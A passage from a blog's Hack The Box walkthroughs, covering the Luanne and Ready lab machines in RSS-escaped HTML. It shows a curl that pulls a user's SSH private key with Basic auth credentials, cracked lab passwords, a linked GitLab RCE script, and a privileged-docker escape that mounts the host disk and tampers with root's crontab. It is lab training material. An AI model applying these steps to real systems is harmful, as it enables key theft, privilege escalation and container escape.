&lt;/blockquote&gt;&#10;&lt;p&gt;Port 3000 worked and returned a shell, while 3001 did not.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0718.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried many methods but could not map pids to ports.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;netstat -an&lt;/p&gt;&#10;&lt;p&gt;sockstat -4l&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Neither helped, and I had no other methods left.&lt;/p&gt;&#10;&lt;p&gt;At this point I genuinely could not continue. The only option was to build a tunnel and test the service, but that did not seem likely to help.&lt;/p&gt;&#10;&lt;p&gt;With no way forward, I glanced at a write-up.&lt;/p&gt;&#10;&lt;p&gt;It hinted that the r.michaels directory could be accessed through the website. Apparently this was a backup service.&lt;/p&gt;&#10;&lt;p&gt;I never would have thought of that. Perhaps there was a problem with my procedure, because I had no way to determine whether 3001 corresponded to the r.michaels user.&lt;/p&gt;&#10;&lt;p&gt;The write-ups found it through directory brute-forcing. My wordlist certainly would not have contained these values, and I would never have thought to build one from distinctive strings in files such as home and passwd. That did not feel like a systematic approach. Perhaps my commands were still wrong. After finishing, I planned to ask GPT whether there was a way to map a port and process to the corresponding user and files.&lt;/p&gt;&#10;&lt;p&gt;curl &amp;ldquo;&lt;a class="link" href="http://127.0.0.1:3001/~r.michaels/id_rsa%22" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3001/~r.michaels/id_rsa&amp;rdquo;&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0719.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it.&lt;/p&gt;&#10;&lt;p&gt;This was very strange. Apparently ~ traversed into the r.michaels directory, requiring only that the current user be r.michaels, a member of users, or root. I did not know that a service started by python could allow this kind of traversal. In any case, it was a very strange thing to try.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0720.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0721.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a backup file. I transferred it to kali. The enc file was encrypted, so I needed to determine how to encrypt and decrypt it while also checking the other directories.&lt;/p&gt;&#10;&lt;p&gt;I became stuck again and could not decrypt it at all. It looked as though I needed to identify the encryption type and find a key, but I had no idea where the key was. I checked a write-up again.&lt;/p&gt;&#10;&lt;p&gt;A single command solved it.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;netpgp &amp;ndash;decrypt devel_backup-2020-09-16.tar.gz.enc &amp;ndash;output=/tmp/raj.tar.gz&lt;/p&gt;&#10;&lt;p&gt;tar -xvf /tmp/raj.tar.gz&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;It also contained devel-2020-09-16/www/.htpasswd.&lt;/p&gt;&#10;&lt;p&gt;It cracked as follows.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0722.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;littlebear&lt;/p&gt;&#10;&lt;p&gt;su could not switch users, so I was stuck again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0723.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0724.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;There was a reason this scored 2.5. I do not know whether these were netbsd-specific behaviors or something else, but the box was extremely unpleasant to use. Its commands were completely different from the ones I knew, and its ways of getting a shell were bizarre. It did broaden my experience, but completing it felt awful. This was the most frustrating box yet.&lt;/p&gt;&#10;&lt;p&gt;Finally, I revisited my earlier question. There was indeed a method.&lt;/p&gt;&#10;&lt;p&gt;ps aux | grep httpd&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0725.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had overlooked ps at the time because this linux system seemed to lack every familiar command, and everything behaved differently.&lt;/p&gt;&#10;&lt;p&gt;This clearly showed that port 3001 had been started by r.michaels.&lt;/p&gt;&#10;&lt;h2 id="30time"&gt;&lt;a href="#30time" class="header-anchor"&gt;&lt;/a&gt;30.Time&#10;&lt;/h2&gt;&lt;p&gt;The rating is a little low, so I am leaving this blank for now.&lt;/p&gt;&#10;&lt;h2 id="31ready"&gt;&lt;a href="#31ready" class="header-anchor"&gt;&lt;/a&gt;31.Ready&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0726.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0727.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.220:5080/dude/ready-channel" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.220:5080/dude/ready-channel&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0728.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After registering and entering, there was only one project.&lt;/p&gt;&#10;&lt;p&gt;I examined it for a long time, but it seemed to be a distraction. Although the project was present, running:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;grep -r &amp;lsquo;password&amp;rsquo; ./&lt;/p&gt;&#10;&lt;p&gt;grep -r &amp;lsquo;username&amp;rsquo; ./&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;revealed no information disclosure, nor any ssh keys.&lt;/p&gt;&#10;&lt;p&gt;google showed me how to check the version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0729.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0730.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were vulnerabilities after all.&lt;/p&gt;&#10;&lt;p&gt;But both appeared to fail. I found a script on github.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This one worked and exploited the target successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0731.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0732.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;There was a root_pass file in the root directory, but it was not useful.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0733.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;YG65407Bjqvv9A0a8Tm_7w&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;linenum told us that we were in a docker container, and other methods confirmed the same thing. I thought the intended path was probably a docker escape.&lt;/p&gt;&#10;&lt;p&gt;I tried many methods, but all said that my current account was not root and could not perform the operations. The first step therefore remained escalating to root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0734.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found docker&amp;rsquo;s configuration files as well as gitlab&amp;rsquo;s.&lt;/p&gt;&#10;&lt;p&gt;I ran cat gitlab.rb | grep passw against them one by one.&lt;/p&gt;&#10;&lt;p&gt;Eventually I found a password in gitlab.rb.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0735.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I successfully switched to root.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;wW59U!ZKMbG9+*#h&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0736.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0737.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The container ran in privileged mode, so a docker escape solved it directly.&lt;/p&gt;&#10;&lt;p&gt;I had tested this while running as gitlab, but the mount failed because that account lacked sufficient privileges. Now it worked.&lt;/p&gt;&#10;&lt;p&gt;Running fdisk -l produced the following result.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0738.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The filesystem appeared to be the physical host&amp;rsquo;s disk. I only needed to mount it at the test directory under /tmp.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;mkdir /tmp/test &amp;amp;&amp;amp; mount /dev/sda2 /tmp/test&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I mainly followed this post:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/12495" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/12495&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0739.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After mounting it, I could access it directly and retrieve the flag. But I still wanted proper root access.&lt;/p&gt;&#10;&lt;p&gt;I discovered that I could not write data into the scheduled-task directory. It reported insufficient space at /tmp/test/var/spool/cron/root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0740.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0741.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was at 100%. I could delete data but could not write, so I searched google again.&lt;/p&gt;&#10;&lt;p&gt;I deleted many things, but it still failed and reported that the disk was full.&lt;/p&gt;&#10;&lt;p&gt;There was already a root scheduled task under /tmp/test/var/spool/cron/crontabs, and this file was writable. I could append to or overwrite it. However, neither approach returned a shell. Writing a public key under root&amp;rsquo;s directory was also possible. After resetting the box, however, gitlab broke, and the platform would not let me reset it a second time so soon. Perhaps this happened because I overwrote /tmp/test/var/spool/cron/crontabs/root. It originally contained gitlab&amp;rsquo;s scheduled tasks; after I replaced it, those tasks were gone. Even resetting the box left it broken. This reset mechanism was rather ridiculous.&lt;/p&gt;&#10;&lt;p&gt;After some time passed, I reset it again and it recovered.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0742.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the private key and used it to connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0743.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. Although this box was rated medium, I did not find it particularly hard. In comparison, the previous box, number 29, luanne, was rated easy but was actually extremely difficult.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0744.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Its rating was also quite good, and it was an excellent box for broadening my experience.&lt;/p&gt;&#10;</description></item></channel></rss>